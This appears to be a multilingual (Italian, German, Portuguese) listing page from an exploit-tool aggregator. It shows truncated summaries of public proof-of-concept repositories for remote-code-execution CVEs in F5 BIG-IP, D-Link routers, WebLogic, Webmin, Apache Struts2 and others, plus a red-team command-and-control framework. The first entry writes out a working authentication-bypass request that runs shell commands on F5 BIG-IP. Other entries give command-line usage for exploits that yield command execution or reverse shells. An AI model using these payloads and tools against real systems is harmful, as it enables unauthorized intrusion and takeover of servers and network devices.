CVE-2022-1388_PoC

Sfruttamento RCE su F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Comando curl: root@kitploit: $ curl -i -s -k -X...

CVE-2022-29072

CVE-2022-29072 7-Zip bis einschließlich 21.07 unter Windows ermöglicht eine Privilegienausweitung und die Ausführung von Befehlen, wenn eine Datei mit der Erweiterung .7z in den Bereich HelpContents gezogen wird. Unsicherheit Es gibt in der Öffentlichkeit eine gewisse Unsicherheit in Bezug auf...

CVE-2022-45299

CVE-2022-45299 Libreria interessata: webbrowser.rs prima della versione 0.8.3 https://github.com/amodm/webbrowser-rs Sommario: La libreria non valida che l'input fornito sia effettivamente un URL. Un attaccante che controlla un URL non filtrato passato a webbrowser::openURL può, quindi, fornire u...

CVE-2024-57376

CVE-2024-57376 Exploit für Remote-Code-Ausführung ohne Authentifizierung für D-Link DSR-250 und DSR-250N Sicherheitshinweis: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Verwendung root@kitploit: $ python3 exploit.py usage: Beispiel root@kitploit: $ python3...

CVE-2022-1388

Vulnerabilità BIG-IP iControl REST CVE-2022-1388 PoC Questa vulnerabilità potrebbe consentire a un attaccante non autenticato con accesso di rete al sistema BIG-IP tramite la porta di gestione e/o gli indirizzi self IP di eseguire comandi di sistema arbitrari, creare o eliminare file o disabilita...

C3

C3 Build C3 MSVC/badge.svg?branch=master Build C3 Clang/badge.svg?branch=master C3 Custom Command and Control è uno strumento che consente ai Red Team di sviluppare e utilizzare rapidamente canali di comando e controllo C2 esoterici. È un framework che estende altri strumenti red team, come il...

CVE-2017-11882-

CVE-2017-11882 O script original 43b vem de https://github.com/embedi/CVE-2017-11882 O script original 109b vem de https://github.com/unamer/CVE-2017-11882/ aplausos; agora o código do unamer já pode executar shellcode CVE-2017-11882:...

CVE-2018-2893

CVE-2018-2893 Passaggio 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pyner...

CVE-2017-12149

CVE-2017-12149 Muito obrigado ao mestre yunxu1 pelo código-fonte Descrição: root@kitploit: 删掉了图形化页面 修复了识别系统错误导致的命令执行失败 修改成了交互式的shell Uso Digite a URL e pressione Enter; ele executará automaticamente o comando whoami para ambos os sistemas. Verifique o resultado para determinar qual é o sistema...

cve-2019-15107

CVE-2019-15107 - Webmin RCE non autenticata Descrizione Questo repository contiene un exploit proof-of-concept PoC per CVE-2019-15107 che interessa le versioni di Webmin dalla 1.890 alla 1.920. Lo script sfrutta una backdoor nelle versioni dalla 1.890 alla 1.920 che consente a utenti non...

CVE-2019-15107

CVE-2019-15107 Execução Remota de Código Não Autenticada no Webmin 1.890 Este script foi projetado para explorar a vulnerabilidade de execução de comandos não autenticada no Webmin 1.890. Ele permite executar comandos arbitrários em um servidor Webmin alvo ou obter um reverse shell. Uso O exploit...

cve-2019-15107

Utilizzo di Python root@kitploit: python cve-2019-15107.py -t https:// -c cmd...

CVE-2019-15107-Scanner

Webmin CVE-2019-15107 Schwachstellen-Scanner Ein Multi-Threaded Python-Scanner zur Erkennung von Webmin-Servern, die anfällig für CVE-2019-15107 sind authentifizierte RCE-Schwachstelle in Webmin-Versionen 1.890 bis 1.920. Beschreibung Dieses Tool scannt eine Liste von Webmin-Servern im CSV-Format...

WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Moduli di Exploit Disponibili per la Vulnerabilità di Esecuzione Remota di Codice in Webmin 1. Descrizione della vulnerabilità Webmin è un potente strumento di amministrazione di sistema basato sul Web, ampiamente utilizzato nei sistemi Unix. Durante l'elaborazione delle richieste...

CVE-2018-3245

CVE-2018-3245 Schritt 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 Questo script sfrutta la vulnerabilità CVE-2018-10933 funziona su Linux Per eseguire questo script è necessario il modulo Python paramiko. Installa paramiko usando il comando seguente. pip install paramiko Una volta installato paramiko, lo script può...

CVE-2025-55182-GUI

CVE-2025-55182 Schwachstellenerkennungs- und Ausnutzungstool GUI-Version Projektbeschreibung Dieses Projekt ist ein grafisches Erkennungs- und Ausnutzungstool für die Hochrisiko-Schwachstelle CVE-2025-55182. Es wurde mit Python + tkinter entwickelt und bietet eine vollständig grafische...

test_struts2_vulnerability_CVE-2017-5638

testestruts2vulnerabilidadeCVE-2017-5638noMACOSX teste de vulnerabilidade struts2 CVE-2017-5638 no Mac OS X baixar aplicativo web de teste e executá-lo no tomcat root@kitploit: install tomcat brew install tomcat confirm where the tomcat installed ls -lF which catalina confirm tomcat home dir ls -...

Apache-Struts-2-CVE-2017-5638-Exploit-

Apache-Struts-2-CVE-2017-5638-Exploit Questo exploit sfrutta la vulnerabilità Apache Struts2 CVE-2017-5638, permettendoci di eseguire comandi remotamente sul server Apache. How to use: $ sudo python Struts2Shell001.py root@kitploit: ! Exploit Apache Struts2 DEMO Code of Rvbk + HOST con https Sito...

CVE-2025-55182

CVE-2025-55182 Uno strumento da riga di comando per rilevare CVE-2025-55182 e CVE-2025-66478 in applicazioni Next.js che utilizzano React Server Components. 🚀 Installazione root@kitploit: wget -q -O /usr/bin/CVE-2025-55182...